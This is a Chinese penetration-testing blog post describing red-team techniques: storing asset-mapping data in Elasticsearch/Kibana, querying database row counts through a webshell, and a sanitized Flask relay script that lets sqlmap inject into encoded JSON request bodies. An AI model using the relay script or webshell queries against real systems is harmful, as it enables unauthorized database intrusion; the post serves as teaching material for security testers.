聊聊攻防渗透中的一些技巧和打法(三)

admin 2024年4月22日00:50:44评论9 views字数 3457阅读11分31秒阅读模式
前言

弃我去者,昨日之日不可留;乱我心者,今日之日多烦忧。

免责声明:

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关。

注意:

本免责声明旨在明确指出,本文仅为技术交流、学习和研究之用,不得将文章中的技术用于任何非法目的或破坏行为。发表本文章的作者对于任何非法使用技术或对他人或系统造成的损害概不负责。

阅读和参考本文章时,您必须明确并承诺,不会利用文章中提供的技术来实施非法活动、侵犯他人的权益或对系统进行攻击。任何使用本文中的技术所导致的任何意外、损失或损害,包括但不限于数据损失、财产损失、法律责任等问题,都与发表本文章的作者无关。

本文提供的技术信息仅供学习和参考之用,不构成任何形式的担保或保证。发表本文章的作者不对技术的准确性、有效性或适用性做任何声明或保证。

01
ELK存储攻防中的空间测绘数据

ELK是三个开源软件的缩写,分别表示:Elasticsearch , Logstash, Kibana , 它们都是开源软件。
Elasticsearch是个开源分布式搜索引擎,提供搜集、分析、存储数据三大功能。它的特点有:分布式,零配置,自动发现,索引自动分片,索引副本机制,restful风格接口,多数据源,自动搜索负载等。
Logstash主要是用来日志的搜集、分析、过滤日志的工具,支持大量的数据获取方式。一般工作方式为c/s架构,client端安装在需要收集日志的主机上,server端负责将收到的各节点日志进行过滤、修改等操作在一并发往elasticsearch上去。
Kibana也是一个开源和免费的工具,Kibana可以为Logstash和 ElasticSearch 提供的日志分析友好的 Web 界面,可以帮助汇总、分析和搜索重要数据日志。

这里我们用到ELK中的Kibana和ElasticSearch,ElasticSearch用来接收导出的测绘数据,Kibana用于检索和分析,以及后续的生成图表等。
痛点主要是源于QAX hunter导出数据只能保存五天,由于安全攻防每年每季度都在进行,不管是新手也好,老手也好,历史上某些目标的空间测绘数据也具有一定的指导参考意义。

如图:

聊聊攻防渗透中的一些技巧和打法(三)

这是笔者过去一年多导出的一小部分,由于QAX hunter反复查询会消耗积分,有的厂商资产多些,一次就要导出几千上万条,会耗费大量积分,个人觉得不划算,于是开始存导出的空间测绘数据了。

聊聊攻防渗透中的一些技巧和打法(三)

   这是依赖于单一测绘厂商的结果,唯一一点比较好的是Hunter可以定位资产归属,导入ElasticSearch的数据也可以很方便的在Kibana上检索,形成属于个人的离线的空间测绘引擎资产。

     例如要定位某些单位如图,该单位仅供参考:

聊聊攻防渗透中的一些技巧和打法(三)

当然这是外网的资产留存和收集,攻防中我们一般会记录目标内网的变迁。
有利于找寻其他突破点(比如上一季度从某网段跨到核心网段,这一季度发现上一季度的入口的网段已经重点防护了,那么自然要找新突破点),这部分比较敏感,就不细说了,各位读者自行研究。

聊聊攻防渗透中的一些技巧和打法(三)

02
攻防中敏感数据量的计算

这块主要是用各种数据库连接工具,进行统计数据量,比较推荐的是 Navicat Premium 和 DBeaver Community。
当然值得注意的是 Navicat 会默认读取表中的1000条数据

聊聊攻防渗透中的一些技巧和打法(三)

在某些网络恶劣的情况会很卡,而且我们一般截图仅供证明内容敏感度,也不会去dump敏感数据。
每页数据改为10-50条都可以,区别不大:

聊聊攻防渗透中的一些技巧和打法(三)

另一个场景是建立代理比较难,而且是单一主机也不必要的时候,直接从webshell连接数据库查询和计算数据量即可。
例如冰蝎、哥斯拉工具连接本地数据库,以oracle数据库查询数据量的例子:
select table_name,num_rows from user_tables

聊聊攻防渗透中的一些技巧和打法(三)

其他数据库自行研究学习。

03
攻防中的SQL注入之中转注入

   中转注入其实是一个比较老的话题了,只不过最近笔者又遇到了,于是拿出来说一下。

 某些单位可能安全性比较高,WEB应用系统数据流量都是做了加密和编码处理,极大的提高了攻击成本。

     要想拿下目标必须先进行流量的解密,这就是现状。

     存在注入的包体大致如下:

聊聊攻防渗透中的一些技巧和打法(三)

   注入点呢,在lsdata中的json结构体中,大体如下,具体编码不方便透露,就简单的Base64举例说明:

聊聊攻防渗透中的一些技巧和打法(三)

这种情况下我们想用sqlmap进行自动化跑注入,但是tamper不适用,因为sqlmap只能传入注入的payload进行处理(数据包中的单个字段),没法整体处理post包体。
解决思路呢,自然也是有的。

聊聊攻防渗透中的一些技巧和打法(三)

    思路很简单,就是写一个 Flask 服务,接收SQLmap传入的sql注入字段,然后重新组装数据包,编码(编码A -> 编码B -> url编码)后发送给网站服务端, 同时接收从服务端返回的结果传递给sqlmap即可。

     脱敏 Flask 脚本如下:

from flask import Flask, request, Responseimport requestsimport urllib.parseimport 编码A,编码Bapp = Flask(__name__)@app.route('/proxy', methods=['POST'])def proxy():    if 'FieldAAA' not in request.form:        return Response("Missing 'FieldAAA' parameter", status=400)    # 获取SQLMap发送的数据    FieldAAA = request.form['FieldAAA']    # 构造需要注入的lsdata字段内容    lsdata = """{        "AAAA": "AAAA",        "bbb": false,        "CCC": true,        "FieldAAA": "%s",        "PageSize": "100",        "PageIndex": 0,        "CustomOrder": true,        "Conditions": [            {"asaa": "a"},        ],        "Isqqqqqqq": true,    }""" % FieldAAA    lsdata = 编码A(lsdata.encode())    lsdata = 编码B(lsdata)    lsdata = urllib.parse.quote(lsdata)    # 重新构建HTTP请求包    url = 'http://XXX.XXX.COM'  # 修改为目标服务端的URL    headers = {key: value for key, value in request.headers.items() if key != 'Host'}    headers['Content-Length'] = str(len(lsdata))    headers['X-Requested-With'] = 'XMLHttpRequest'    headers['Authorization'] = 'Bearer AAAA'    headers['Cookie'] = 'SessionId=qqqqqqqqq;'    body = 'lsdata=' + lsdata + '&requestaaaaa=12222'    # 设置代理    proxies = {        'http': 'http://127.0.0.1:8080',        'https': 'http://127.0.0.1:8080'    }    # 发送重组后的数据包给目标服务端    response = requests.post(url, headers=headers, data=body, proxies=proxies)    # 将response.headers转换为字典    headers_dict = dict(response.headers)    # 返回服务端的响应给SQLMap    return Response(response.content, status=response.status_code, headers=headers_dict)if __name__ == '__main__':    app.run(debug=True)

接下来启动Flask服务:

聊聊攻防渗透中的一些技巧和打法(三)

使用 sqlmap 开始梭哈:

聊聊攻防渗透中的一些技巧和打法(三)

至此,完成我们的自动化中转注入的利用。

聊聊攻防渗透中的一些技巧和打法(三)

04

后话

最近笔者刚忙完一些很棘手的事情,因为这个事挺长一段时间没更新,在这给各位读者说一声抱歉,还有就是近期公众号留言功能也开启了,希望大家多多提出意见和建议,笔者真的太想进步了。
另外最近看到新成立的中国人民解放军信息支援部队,利好网络安全啊,想要加入的抓紧机会,hhh。

聊聊攻防渗透中的一些技巧和打法(三)

END

聊聊攻防渗透中的一些技巧和打法(三)

扫码关注了解更多
安全小技巧

原文始发于微信公众号(JC的安全之路):聊聊攻防渗透中的一些技巧和打法(三)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月22日00:50:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   聊聊攻防渗透中的一些技巧和打法(三)https://cn-sec.com/archives/2677148.html

发表评论

匿名网友 填写信息